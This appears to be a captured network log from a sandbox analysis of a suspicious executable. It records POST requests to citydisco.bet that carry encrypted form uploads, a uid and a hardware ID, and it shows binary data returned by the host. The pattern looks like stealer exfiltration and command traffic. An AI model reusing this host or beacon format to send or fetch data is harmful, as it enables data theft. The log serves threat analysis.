36 31 5a 48 69 4e 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d Data Ascii: --BF6y4lIf5N61ZHiN3Content-Disposition: form-data; name="uid"22f0a38e30cad7918d4dd06c55846b485b52a36e95296cd8b59196c8c4--BF6y4lIf5N61ZHiN3Content-Disposition: form-data; name="pid"1--BF6y4lIf5N61ZHiN3Content-Disposition: form-data; name=
2025-03-13 12:33:43 UTC	15331	OUT	Data Raw: 30 2d cf 95 69 09 f0 dc fe 00 78 70 9e 73 92 97 8c 26 0d da 4b cc 60 41 ef 9b a0 75 2d 70 10 fa 72 87 a4 3d e0 a0 c8 60 b9 1e 28 70 44 d4 bd 24 ea 32 dc 2a 5e 59 51 cd bd a8 5e a3 0f c1 7e 99 8c 36 0d 39 ef 6c ef 50 0c 0f d3 3d 6f dd e3 b4 9c 75 c7 67 64 e9 31 ce 81 a8 b4 66 7e b6 b9 4d c4 19 1e 39 e1 0c d1 6c fa 82 cf 02 f4 ad 6c 5f aa c1 00 6c a8 51 15 32 c0 e8 a6 1e c9 23 02 39 3d a7 f7 39 e7 a4 0d 53 e6 13 94 ce fb 88 a5 b8 b7 1c f4 07 6a 94 56 e8 06 2c 7c 5f 1f e3 33 8d fa d1 89 cd b0 27 94 94 b1 66 d6 37 b9 83 39 1c 27 b5 89 2c f6 06 70 16 34 37 73 15 ed d9 bb 60 87 6d ea 81 54 34 ef 82 e8 2c 29 35 61 d0 2c 2f b3 57 dc 5d c6 7a 7f a6 f7 62 7c 6c 33 9d 8d cb 70 53 58 10 85 71 72 86 22 d2 11 93 cb 61 3d 8e 79 00 de 6a ce 52 c5 c5 85 0a ab 2c d7 56 eb Data Ascii: 0-ixps&K`Au-pr=`(pD$2*^YQ^~69lP=ougd1f~M9ll_lQ2#9=9SjV,\|_3'f79',p47s`mT4,)5a,/W]zb\|l3pSXqr"a=yjR,V
2025-03-13 12:33:43 UTC	15331	OUT	Data Raw: 6b 98 d8 88 14 e4 4f 09 8a a0 f1 f6 53 29 23 3e c8 26 b8 1f 9e c6 7c 10 9c 79 81 b3 c7 18 77 8e 0e 3e dc d3 62 b0 7c ad 16 53 af 5c f2 59 6c fb 5a 5e 94 fb 39 2f ad 58 4b 83 3c 14 6b 72 f2 00 eb b4 f3 cc ca 33 2f 80 62 2a e5 73 2e 95 be f4 f6 35 10 5b 81 25 7b cc ac 0e a4 d5 18 0f 66 7d 68 ef 52 f1 d3 cb 94 6d 9f 50 ab b4 3b 1e 61 81 27 87 50 83 c5 25 cf cf 01 8b 59 9d 50 c7 64 55 7e a1 68 23 c6 da e7 1d ef 85 c5 0b a7 20 0d 2d 3c dc bb e7 fd 65 92 66 70 80 09 25 59 1a 4c fa d4 58 66 6f 51 f0 aa 87 3a ff 65 62 2e e0 27 65 b6 b8 dd 52 72 96 82 c2 ce 67 ab 85 28 b1 1c d3 dd d1 c9 e7 6b d5 26 a7 18 fe dd 85 af f9 f5 27 c1 0a 67 ee b5 4b ea 6e 2c 9d 62 d4 c3 06 04 48 a8 35 cd bd c4 0f 8c f4 1a 2c a0 ca a5 73 d9 fe cc 23 70 19 18 b0 08 1a e3 9c 54 20 a2 cd ae Data Ascii: kOS)#>&\|yw>b\|S\YlZ^9/XK<kr3/b*s.5[%{f}hRmP;a'P%YPdU~h# -<efp%YLXfoQ:eb.'eRrg(k&'gKn,bH5,s#pT
2025-03-13 12:33:43 UTC	15331	OUT	Data Raw: 7d 9c d9 ec 1a c7 5a 68 98 60 b9 02 b2 e0 43 d0 a4 94 ca 30 8f 91 94 4c d1 86 2f c0 48 64 5f f3 a3 e0 9c c8 48 d1 9f 6f e9 4e 6f a8 13 7c 85 14 e1 5f c3 4d 86 e7 11 3e 02 b4 98 4b cf b7 9f 18 ed cf 12 87 fa 76 16 8d a5 2c ae 8f 22 25 f7 c2 07 87 a2 40 f1 04 db 81 10 6a 26 a8 b2 88 62 b3 57 89 db bd 38 78 81 71 ad 9e 1f c8 b1 f3 2b 72 71 3a 4d 59 65 8b 0b a6 6a fc e3 d3 7f 32 68 8d c1 43 06 c2 30 bd 31 3f 9d 6f c1 0d 53 61 6a 3a 32 ab 86 3b 57 29 49 af 6f 70 88 8c a2 1e 5c 25 6d 79 fe 19 f2 7b 83 61 0f 05 4d 12 b4 2d cd 9e 76 4b 1f 4e 46 45 62 4c 7e ce 51 38 dc 6b 14 45 78 f0 ac 11 14 6e 3e ec 77 2d a9 a0 cc 8b 25 e6 85 74 df 1d 43 56 20 a9 ef e4 07 f4 b1 0b 77 3f 04 ec 7a 8f 14 95 3b 5c d9 79 2f a4 d1 f8 34 b0 c2 93 29 b8 55 68 46 e2 6d bb af e5 32 de 1a Data Ascii: }Zh`C0L/Hd_HoNo\|_M>Kv,"%@j&bW8xq+rq:MYej2hC01?oSaj:2;W)Iop\%my{aM-vKNFEbL~Q8kExn>w-%tCV w?z;\y/4)UhFm2
2025-03-13 12:33:43 UTC	15331	OUT	Data Raw: 4f e0 b5 8e 62 9f 9b 9e 37 35 3b 9d 02 49 e4 0e d4 3d e2 78 11 a0 bf 80 cf f5 ac fa 8c ce 39 26 ab 32 9a a6 41 c2 3b 3a 23 39 a0 d5 73 ae 0c 06 0e 20 a0 49 bc c1 93 60 a9 a0 53 16 18 34 ef 25 b7 a3 7d de c7 8d 4b 9f 38 c2 18 ef fc 0a 2e d9 00 a3 c4 ac 39 95 e6 f5 66 d2 80 b1 5c 71 ad 13 68 12 4b f4 6a ea 3d f8 c8 dd 02 bd c3 fd 67 51 8c b2 57 47 76 06 4b 61 7d 0f 1d 4e c8 76 5a b6 54 07 c5 36 29 e8 27 29 b2 8d 6f dc 6a 53 f3 f8 4b d8 8d 29 fb b8 f6 8c cc 73 91 b9 91 09 74 83 cc 24 fa 73 14 d2 86 83 da e0 b6 08 01 d5 d5 4a c4 c5 73 d6 d6 de f7 c7 6a 42 ec 5b 02 ea 88 6b 8b 85 c3 58 8e 79 96 3a 93 7e da 45 fd 02 da c8 af dd d5 78 de 58 ca fc d4 dc ac 9d 95 f4 36 56 62 82 15 01 ec aa 71 be 9e ef 70 d5 cf bc 32 57 6e 86 be f1 df 85 db 6f d2 24 9e 4d ce 72 e7 Data Ascii: Ob75;I=x9&2A;:#9s I`S4%}K8.9f\qhKj=gQWGvKa}NvZT6)')ojSK)st$sJsjB[kXy:~ExX6Vbqp2Wno$Mr
2025-03-13 12:33:43 UTC	15331	OUT	Data Raw: d3 3a bb 7c a5 36 f6 73 bf 52 ae e3 70 ef 18 89 d4 87 ef 9f 72 af f8 e7 ac e4 55 aa 68 2d ff 26 e8 76 81 50 e5 61 9f 4a 6d f3 aa c8 38 4c bd b2 5d 85 50 e5 1d 35 ef db 48 7b b6 48 1d ef da f6 56 55 61 92 5a 90 ec d5 28 4c f3 ab 91 56 a5 18 23 17 73 0c 0b 4b 19 62 76 c8 2d 61 d6 b0 26 75 8e d6 b6 9b 48 21 21 dd ad f9 40 ca b7 28 ff da 47 fb 75 e6 9f 7c 47 10 ae 62 29 f2 61 ac c1 e9 56 ec 35 20 a8 14 30 65 1b 39 c3 e9 07 98 f2 3f f6 16 f5 11 e2 a4 43 75 1b f9 a9 1c a5 e4 f9 0c cc 16 3a a0 ed 74 93 85 ed 64 d0 b0 fd 98 4c d4 4b 2d c3 15 fd 9f df 3a b9 17 2a e6 10 ae a6 4c 08 56 da b6 22 c6 fe a6 e1 40 d7 76 24 5c ae d7 6e 86 88 87 b1 d9 7a 5b 16 88 6b 31 87 af 26 f6 f4 1f 0b e9 e4 a4 f7 ee 36 7f 88 b9 b9 a9 cb f5 95 92 a8 28 fb a5 f8 da 56 d9 d5 dd 0a 35 19 Data Ascii: :\|6sRprUh-&vPaJm8L]P5H{HVUaZ(LV#sKbv-a&uH!!@(Gu\|Gb)aV5 0e9?Cu:tdLK-:*LV"@v$\nz[k1&6(V5
2025-03-13 12:33:43 UTC	15331	OUT	Data Raw: 2b 56 a6 6c 01 c9 17 cf 30 87 10 d1 35 f3 64 17 2c 0a 40 df 4f 74 35 4b 4a f9 de 62 ee d1 77 d6 23 98 56 38 c6 69 49 e3 98 58 69 24 1a 91 39 e4 67 f9 ae e1 73 5b 3b e6 b2 2c a0 ea 58 1b 55 94 3b 53 c4 dd 7f 64 91 11 8a 17 c5 e8 19 e9 27 67 f5 ea 4d 57 4f 93 b5 47 f0 57 05 46 b0 41 d1 b7 71 ec 94 e4 c8 12 ad 6e 2e be f7 6e 42 ad 6f 08 cb d7 4b 6e 7f 59 8f bd 29 76 58 13 bd f6 7f a5 6f f3 fc e8 a9 89 28 49 98 96 1f ce e6 17 59 00 79 65 12 58 a4 a9 45 35 9b 13 c0 97 1e 05 8d d7 87 bd a4 68 a7 0a 7f 36 d3 dc 42 68 7c d7 1c 4d 08 37 8f 24 2e 0f 85 bb f6 52 23 4b 41 0b 83 89 ad 2d e3 ad 4e 67 45 39 30 c8 1b e5 8c ee 56 27 0c b0 af 28 c5 bd 54 15 4b 76 72 d4 2f b8 de 2f 41 b7 0b 85 bc ae 9b 70 40 91 af 7e 63 5c 8b ce 3c c2 09 b7 75 98 f8 35 db 55 72 50 1c f7 89 Data Ascii: +Vl05d,@Ot5KJbw#V8iIXi$9gs[;,XU;Sd'gMWOGWFAqn.nBoKnY)vXo(IYyeXE5h6Bh\|M7$.R#KA-NgE90V'(TKvr//Ap@~c\<u5UrP
2025-03-13 12:33:43 UTC	15331	OUT	Data Raw: ad d3 af 43 39 d6 f9 e5 a5 27 97 b5 61 89 6e b9 1b 61 ea 5c 36 be 47 d6 16 43 a5 8d 62 5b 3b b2 59 b6 90 17 cb 0f 45 56 c4 74 1d a8 84 87 e2 ea a6 98 41 4d 61 a0 40 60 86 fb bf 82 6c e7 28 63 f8 f2 80 65 ae 48 62 ee 56 71 dd a3 06 d2 b9 4f ef cd 13 28 c4 95 55 59 67 38 4f 36 36 6f a1 5c 29 43 72 46 3a 35 75 4d bb fd 22 76 9f 96 9f af ca dd e3 f1 6e 20 b0 ba fb 74 54 0d 9f c0 b6 07 97 0b 5f 4a d4 7d 75 6b d4 20 c1 de 84 d2 19 0e 6b 04 36 02 78 d9 93 13 ae 7d 1e 91 e4 de e7 42 43 b6 e2 64 aa 5d 32 23 0b 1e 51 e3 ed 04 a2 e7 7e bc 30 21 dc f2 2b e6 6e cf fb f1 8a f7 c8 5b 49 35 b3 e2 3f 48 71 4f bb fc 08 0e 2b 30 2a e9 2c a7 58 4a 57 d1 5b 55 33 7d cb 10 3a 45 c3 bc 5a 0d d8 d8 7f cb b7 a6 8c 60 68 c7 c6 6d 1f 42 ac 39 ed 1e 50 f0 36 a2 b6 c6 bc 5b 51 97 06 Data Ascii: C9'ana\6GCb[;YEVtAMa@`l(ceHbVqO(UYg8O66o\)CrF:5uM"vn tT_J}uk k6x}BCd]2#Q~0!+n[I5?HqO+0*,XJW[U3}:EZ`hmB9P6[Q
2025-03-13 12:33:43 UTC	15331	OUT	Data Raw: 32 e6 09 50 d2 e4 4f b7 58 41 02 ad 48 d7 0b c2 95 db 0c 31 c9 07 99 39 6c 36 7e d9 94 9b 26 7e 48 79 64 0f b2 c4 1d 1f ad c7 0e 21 9c b7 73 5f 11 fa 34 b6 8d 3d 6b 4f 47 fa 93 0e 13 4d 92 64 9e 54 c1 c9 14 3a ae 6c 4c 7b cd c9 e0 4a 21 89 99 b5 d0 0c 86 e3 0e 0a 7a c2 76 36 aa 1c a6 0d 1b fd 11 ab 4e 3f 51 bb c7 a7 5d 23 f5 02 42 1d fb 1b 64 8b 7c 90 c8 11 4f f9 96 36 6d dd fc 7b 3d 37 d1 0c fa 7f c7 b6 52 73 1b 58 6c df 6c 23 47 96 ce 8b 25 76 87 5c ca fe 98 13 cc 21 c6 1c 6a 61 6e 07 33 74 be 40 d0 8a 14 59 55 55 ab f0 66 64 39 4c e9 4f f4 5f 99 7e 78 84 b8 e6 07 76 8f a6 90 4a 08 3c 8a 1e 38 6c a7 60 ed e0 31 c0 66 b5 ed 5b 11 05 36 ef d4 61 4e 1b f2 7a 09 e4 54 25 9b 10 a3 26 3b d8 3a 31 97 52 60 fb 65 af b7 e1 a7 34 70 68 59 e8 0a 11 eb b4 94 29 82 Data Ascii: 2POXAH19l6~&~Hyd!s_4=kOGMdT:lL{J!zv6N?Q]#Bd\|O6m{=7RsXll#G%v\!jan3t@YUUfd9LO_~xvJ<8l`1f[6aNzT%&;:1R`e4phY)
2025-03-13 12:33:43 UTC	15331	OUT	Data Raw: 05 8e 49 ca 3f fd 43 1e 70 90 c1 e4 2f 3f 81 31 92 d3 af 35 cf 50 29 3e 75 7a ef ee 36 c8 8c bf b0 97 dd 12 b3 cb 07 7e 00 b1 91 3a 0d d5 74 2b cf 81 4e b9 ca 1d 3b 13 0f 24 1d c2 f8 63 af 51 1e 21 37 ba 2e 79 2a 5d 68 c1 16 dd 99 d9 20 ec 05 ff f2 4d 99 da 1e e3 cd 18 bb 55 c2 72 b3 73 12 61 73 a6 52 09 c2 33 dd 44 18 cd 3c c0 06 15 31 37 19 8e 26 3f 06 24 dc 0c 98 81 78 5f 3d d9 30 af 3e 32 9c d3 e0 34 14 fc b0 c3 20 91 c1 82 5b 34 89 7e d8 0c a1 ab 1c 53 61 f4 81 0c 94 a5 e4 fd 4f 39 c9 ed 10 b7 3c ab e2 a2 aa 8f 00 20 3c 03 60 92 7b 51 05 cf 71 b2 4d 9b 86 37 25 cf 84 d4 d1 39 06 d6 ac df b3 33 82 0c 12 1e f5 a8 3d 28 ce 3b 3f 9c 48 8d 5c af 62 62 88 c9 21 e4 73 7b 0f db 9c 51 9f 56 b4 04 38 7c b1 0f 56 16 ec 97 db 7b 9d ee a4 3a 72 f4 60 c5 ed 7a ec Data Ascii: I?Cp/?15P)>uz6~:t+N;$cQ!7.y*]h MUrsasR3D<17&?$x_=0>24 [4~SaO9< <`{QqM7%93=(;?H\bb!s{QV8\|V{:r`z
2025-03-13 12:33:46 UTC	812	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ze1jK0iRHDUIZn0hOBzrw8E8vPSvxrKwWYLWRG%2B4fofepODAzraclzeiC3rmvuweFMPeQ70lysEuyM1zC9T%2BJjIaDZR91svYdllGW7w02sMaP6YMyKGE5OnuyJuxsd3l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb8fb859b56306-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12861&min_rtt=12659&rtt_var=3922&sent=251&recv=427&lost=0&retrans=0&sent_bytes=2831&recv_bytes=553438&delivery_rate=211866&cwnd=233&unsent_bytes=0&cid=ede29fb950e6acdb&ts=2990&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49726	188.114.97.3	443	7352	C:\Users\user\Desktop\SoftWare(2).exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:33:47 UTC	264	OUT	POST /gdJIS HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 105 Host: citydisco.bet
2025-03-13 12:33:47 UTC	105	OUT	Data Raw: 75 69 64 3d 32 32 66 30 61 33 38 65 33 30 63 61 64 37 39 31 38 64 34 64 64 30 36 63 35 35 38 34 36 62 34 38 35 62 35 32 61 33 36 65 39 35 32 39 36 63 64 38 62 35 39 31 39 36 63 38 63 34 26 63 69 64 3d 26 68 77 69 64 3d 39 45 44 43 46 41 38 33 36 32 45 34 34 33 38 46 39 32 32 37 37 34 38 38 46 33 46 39 44 32 44 41 Data Ascii: uid=22f0a38e30cad7918d4dd06c55846b485b52a36e95296cd8b59196c8c4&cid=&hwid=9EDCFA8362E4438F92277488F3F9D2DA
2025-03-13 12:33:48 UTC	783	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:33:48 GMT Content-Type: application/octet-stream Content-Length: 10544 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WTr80J5ev0gv5kU%2FL%2FhiVx63ivAwW4Zd%2B5CMsXVmb9MpYthJp8FGall6ThFxDkCcVVAkz6U8xImHjP2IPqSQ8jZjO0VZ7jD3BWplNmbJHI4825aMHpuOnc%2FfyaY%2FSYT1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb8fd35be7ff5b-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15099&min_rtt=14657&rtt_var=4897&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1005&delivery_rate=173839&cwnd=241&unsent_bytes=0&cid=0d3086049ce73d4f&ts=951&x=0"
2025-03-13 12:33:48 UTC	586	IN	Data Raw: 84 61 1d 25 d9 4d 95 26 22 ef 2f c6 a8 d7 ab f5 97 da ea 41 e9 d0 42 2d 77 8f 23 74 a5 71 b8 27 10 e0 e8 5b 08 6c d9 68 8f 32 c6 0b 52 a6 d8 f6 8f cc 90 ad d2 0d 03 79 76 af 53 64 5f 06 f7 6e ca c5 42 be 68 56 0b aa b9 9a 6f b3 82 bc fc 50 6d 04 12 3c 85 99 29 d2 1c b6 cb 6c f3 79 7b 06 05 60 77 c5 fa 12 97 43 c5 4a 34 8b 66 5e fc 93 cf f8 6c c4 1a da a2 44 c2 7d e2 bf 7a f5 74 88 44 e1 d9 01 b5 6f d5 19 be f3 81 d8 2b 3e bd ea 3e 93 04 97 c4 df e3 0d 38 ca a1 b6 98 b8 58 bf db 2d f3 17 ec 1e c0 5f 83 02 f9 ad 85 5c 1b 05 bc 30 dc 54 be 13 35 6e 5e a9 72 0d 2f bf d1 c1 96 a9 0c 5b 12 d9 be 02 9e 90 db e6 89 c8 b8 8b 71 f3 5b 6f 48 b3 8e 73 89 98 b1 d1 26 12 ab eb fc 80 7e f8 02 62 89 4b f7 2e 28 9a 30 b2 ed 8d e2 92 c5 ce 06 af 80 65 33 4d 44 f5 a3 e0 07 Data Ascii: a%M&"/AB-w#tq'[lh2RyvSd_nBhVoPm<)ly{`wCJ4f^lD}ztDo+>>8X-_\0T5n^r/[q[oHs&~bK.(0e3MD
2025-03-13 12:33:48 UTC	1369	IN	Data Raw: e3 fa 6e 87 b6 65 62 35 4b 53 b6 4d e2 4a 82 32 82 02 74 07 a6 0e 17 4f 16 aa f5 32 08 a6 81 fc 28 0a 87 30 f4 f4 77 13 1a b2 f1 bd 9f 6b f4 ef 45 4c a7 50 d6 fa fe 76 a3 1d 24 f1 9e a7 cd 6e 39 14 a6 03 cc a0 2c e1 06 50 47 44 9d ff 2d 96 ad 96 fd 0a 82 45 84 9f 70 69 0f ab dc ac 9f da 87 9b 1b 4b a6 46 cc f2 23 e2 8f 06 3d 3e 01 c8 18 8a 2b 30 e2 aa 84 fb e6 1b 13 c9 34 39 9d 96 a7 42 79 8c 7b 0d 13 42 78 8f 5f 66 3e 18 dc 52 9f e9 45 36 2c 8e 74 0b f6 13 b2 b5 11 b5 e1 17 e7 ab 93 f9 95 82 e0 08 af 1a 34 fb 2d 3b e9 09 62 2f 7b 9b 22 25 ff 4c e7 4a 5e a7 b8 72 33 c3 0b b4 dc 4b cd a7 21 1c a6 db 67 57 15 05 3c 4b 37 2a 7c 54 75 8a d8 8d a4 7b f7 37 2f 54 b1 21 3c 57 31 5b ba 4b 12 95 a4 5e 96 73 6c 1c 3d ea a9 25 e7 1d 19 7f 8f 46 15 cd 9a 16 93 9b 59 Data Ascii: neb5KSMJ2tO2(0wkELPv$n9,PGD-EpiKF#=>+049By{Bx_f>RE6,t4-;b/{"%LJ^r3K!gW<K7*\|Tu{7/T!<W1[K^sl=%FY
2025-03-13 12:33:48 UTC	1369	IN	Data Raw: 7e cb 50 10 a4 10 13 0c e6 bf ed 86 0b a0 09 21 52 9e 8c d8 e7 70 05 71 a3 c9 e4 7a ff 8f 95 eb ec 27 81 04 23 2a 9a 11 1c 39 ce 46 ce c1 6c b5 91 3e be 83 89 fb 57 46 91 44 7b ee 8a c8 58 fe 7b 31 a7 ff e2 c2 83 f7 fe 53 73 0a 52 5d 2a c7 cf 60 31 7f 75 da 9d 7e e2 fa 2d c0 60 55 df 86 85 51 3c 5e f6 d1 36 19 3f e6 83 25 e1 ca dd ec 26 1f b3 eb 65 44 de 01 24 26 09 c2 fc 52 eb 31 f7 3e bb f9 60 7e 3b 41 6c 0b 3f 74 87 2f 06 8f 3e bd 68 e8 4b fe 89 b0 7d f9 07 96 d6 52 68 17 c2 0e 79 62 f4 1e 53 2d a5 1a 75 8b c4 92 9c 78 9e a8 6a 31 ab 20 4a 28 9b 70 b4 9b 4d 36 07 e4 d5 04 0b 9c 9c 80 fd 9a 52 55 96 7e c2 34 2f ce e0 93 42 a8 0c 1c 30 c7 c3 bb f2 81 f2 7c 30 21 df 9c f6 b4 40 35 6a d8 3f f5 b6 d7 29 74 25 50 65 66 e1 1c 7f f2 dd d8 2d 48 f3 7d 49 d2 eb Data Ascii: ~P!Rpqz'#9Fl>WFD{X{1SsR]`1u~-`UQ<^6?%&eD$&R1>`~;Al?t/>hK}RhybS-uxj1 J(pM6RU~4/B0\|0!@5j?)t%Pef-H}I
2025-03-13 12:33:48 UTC	1369	IN	Data Raw: cd c1 c4 e4 c3 3e 15 8b 6a 55 52 ea c3 d9 cd 00 fc 28 23 7f 93 09 51 b0 09 2b 7a 70 40 61 30 23 0f dc 4a 2a 6f 5b 5a 70 e7 a3 82 3c d4 67 66 45 1f 5b 03 0a c8 5f 00 81 d1 9b 54 0c 0f 79 7c 60 fa 63 42 8f d6 13 d8 1e e5 53 c2 3e e5 0b 48 48 59 4b 6d 6c f9 a9 1e 99 85 11 a9 6e 6f 03 26 ff 9d d9 f1 6c 25 c0 74 62 72 18 55 6a cc e6 f3 18 e3 0b c1 54 a2 cd 22 8b bc f2 02 96 41 4e 4f bc ad a2 d1 08 e9 90 68 3e b8 45 8e 62 aa 01 39 b9 c7 ad e5 10 3f 4a d0 98 a2 82 19 d9 df b0 29 23 d3 23 a7 1b e7 db 2d d7 6e 5c c4 bd f1 21 e1 b3 ba d5 86 5a e4 53 4f bb 9c 47 f2 35 60 f2 b5 12 e1 19 a9 39 f7 06 9e eb 7e 6e 81 82 57 bb ea 0b 6f 64 7d 5f 07 3e 10 dd 58 85 4f 5f 33 03 b7 86 6c 57 a3 cb 6b 55 b1 bf 7d ca 85 c7 8d 00 94 2d da 8e 0d c0 06 68 24 8f 11 b5 ec 55 ab 9c 4c Data Ascii: >jUR(#Q+zp@a0#J*o[Zp<gfE[_Ty\|`cBS>HHYKmlno&l%tbrUjT"ANOh>Eb9?J)##-n\!ZSOG5`9~nWod}_>XO_3lWkU}-h$UL
2025-03-13 12:33:48 UTC	1369	IN	Data Raw: d3 b7 50 51 77 c4 7e 85 1a 52 91 f0 f4 1f 94 7c 9b 1d 36 87 61 7c 3b 20 f7 5d 95 d7 e0 dc 5f 93 1e 5c 45 33 d5 48 74 33 c6 bf 0c 6d 1c 59 37 af ec 8f a4 8f 2e e7 c9 e7 29 20 a5 d1 88 f8 1c 9a 76 c6 1e 83 42 e3 92 79 76 9a 98 03 d7 75 df 2d cf b1 2f 8e d7 fb 93 1c 3b db 51 a3 15 ef 81 1d 29 76 c4 31 d7 06 aa 12 a5 96 cc fb c9 ab e3 82 e2 79 65 83 26 31 74 07 72 fe 5a e2 46 b3 e1 b4 a3 b3 af 9b 8d de 66 50 0d a6 c4 26 1d 3d 7e 99 04 8d 88 23 e8 ea 35 a3 47 0e 0a e5 27 24 09 43 92 a9 26 29 9c 47 2b 86 bc ea 3f 5f c5 7d 52 c0 1a da f9 ad e7 d2 36 5b 60 2b cf 85 b4 58 0f 9f 78 54 b6 0b 8c f4 0c 43 3d 24 e6 c4 40 1a f4 62 e0 40 09 89 59 fc fe a4 ce c9 d6 15 c3 81 2c 38 16 9c d3 bc e4 22 d6 16 d4 a7 72 85 4b f9 d6 06 ca 86 4d f0 6c 4a 9d 1c f0 5c 63 04 99 17 c0 Data Ascii: PQw~R\|6a\|; ]_\E3Ht3mY7.) vByvu-/;Q)v1ye&1trZFfP&=~#5G'$C&)G+?_}R6[`+XxTC=$@b@Y,8"rKMlJ\c
2025-03-13 12:33:48 UTC	1369	IN	Data Raw: 71 f5 a2 da 00 91 5f 48 84 d0 b4 7c dc 64 02 bd 95 9c b6 7f 9c d2 8b 0a 9e 84 40 9f be f9 9a 8a 27 13 26 ae 7a c5 20 2d 7d ff 4a 4a aa ec da 94 c6 a3 6b a6 39 fe b3 8e a1 0b 0a 7e 47 5f 11 14 3a f3 81 f1 46 96 c5 69 db 97 ab 02 19 ea 0b 11 11 7f 43 5b c1 1b a2 f7 9c 18 ce 74 0c fa 64 80 73 5b d8 a0 12 0c ac 0c db 8c c2 d6 0c 8e 0e a9 dd ac e8 e6 c6 f3 c1 3a 2e 4e da e9 4a 12 cb c2 2f b5 b5 41 a0 9a 84 d3 45 fc 29 57 f9 a9 8a 7a e2 fa 5c 90 b1 78 fd c9 cb fd 22 ff e2 80 34 f3 d2 6e e4 c8 25 1b ea 71 54 ea f2 52 71 7c e1 71 2b 37 a7 e4 bd e1 6c 15 62 b9 67 4e d8 4d 9d 72 ff f6 3b cd 9a 12 f4 6c 2d 97 c3 7b 53 64 1c ac d8 9f 65 f6 e7 ca 65 77 67 f8 ff 65 5e 4f 61 33 18 b0 e5 3e e4 b8 a9 d7 0b 67 c9 59 fb 75 86 53 93 c0 08 bf ac 7d 86 9d d9 93 73 ca e8 b9 e7 Data Ascii: q_H\|d@'&z -}JJk9~G_:FiC[tds[:.NJ/AE)Wz\x"4n%qTRq\|q+7lbgNMr;l-{Sdeewge^Oa3>gYuS}s
2025-03-13 12:33:48 UTC	1369	IN	Data Raw: 22 7d 80 42 f5 dd 71 36 f0 85 9d ea e1 56 14 af 82 80 d0 f0 4e b4 d3 05 21 11 71 86 b3 19 0a 05 26 be 8e f4 35 da 11 e2 66 55 bd cb 83 ec c3 57 24 3f 1b 1c a7 96 8c fb ce 04 73 40 ec ae ec 86 09 84 87 95 a7 c9 6a 0a 3a a4 f1 26 2e 57 f0 e8 74 1d 6f c5 49 1d b5 40 ae 62 74 a5 20 40 bd 52 26 22 25 ed d2 8c 39 2a 30 f6 5b 5b 7f de 84 10 51 51 0d d9 48 53 4c 40 fb 2c 19 df e7 63 c6 b0 b6 b4 89 71 06 2b e9 1b 90 7e cf 55 9c 70 40 06 65 06 54 a6 e9 c3 25 42 95 ed ab c4 5e 06 7c f1 81 a6 87 45 20 88 8c f6 fb 5f 17 59 dd 8e a8 9a 31 35 69 0a 7a c1 7b c7 0e 12 24 f7 f6 74 d4 c7 3d 43 0c d6 c9 d8 97 8a 4b a3 aa 66 4a 0d c2 39 98 c4 55 4a 5a f9 cf 20 df ef 89 50 3e 00 0a 42 55 7d 88 f6 33 f6 29 98 9b 50 f9 a4 b7 ad 5c 89 76 bc 56 d2 06 bb 2f 50 6d 72 7c 28 cc b3 79 Data Ascii: "}Bq6VN!q&5fUW$?s@j:&.WtoI@bt @R&"%9*0[[QQHSL@,cq+~Up@eT%B^\|E _Y15iz{$t=CKfJ9UJZ P>BU}3)P\vV/Pmr\|(y
2025-03-13 12:33:48 UTC	1369	IN	Data Raw: 25 5a f9 71 22 e4 e3 14 de fb f8 cc 64 33 0b 8b 6e e3 3a 60 eb 27 47 05 28 20 df 48 a5 c9 1d 3c 12 5c 51 7e 5d a1 9e 1a bf 1e 48 d2 95 c6 07 2c f5 f6 46 6e f1 78 bf da b2 e1 15 7a 32 fb d9 11 bc 0c 5b 11 5a d9 bf a8 4e e3 56 97 71 c8 8d 9b 0f 33 df 7f 96 75 7f f3 7a a9 7e ef 19 9a ff fa 45 b3 69 be c1 5f 4d 80 0b 6b b1 e4 81 ac 5c 82 75 48 c5 8d eb f2 7d 25 ee b7 6f 3c cb 61 00 a1 3d d1 88 b1 97 f7 36 0d 01 96 60 c0 10 fa 12 2e 82 55 e8 03 fc bb f5 f5 5a 19 78 fc ba 51 38 e5 b5 b3 d4 f0 ac 8b 99 04 c3 fc b8 e0 3c a6 4f b5 a2 af d7 9a 5f bb c1 d0 e0 63 74 06 d4 c1 38 14 45 af 8b 49 10 3a 77 97 91 18 f5 5b 05 ac be aa 10 63 4e 62 e6 77 0b 21 27 c8 2d 61 32 b6 19 df 24 fe dc 08 35 6f 7f 1e eb a0 99 bc c0 f3 4d 86 8a e9 c5 28 9c 24 62 32 fd d4 2e cf 34 ed 67 Data Ascii: %Zq"d3n:`'G( H<\Q~]H,Fnxz2[ZNVq3uz~Ei_Mk\uH}%o<a=6`.UZxQ8<O_ct8EI:w[cNbw!'-a2$5oM($b2.4g
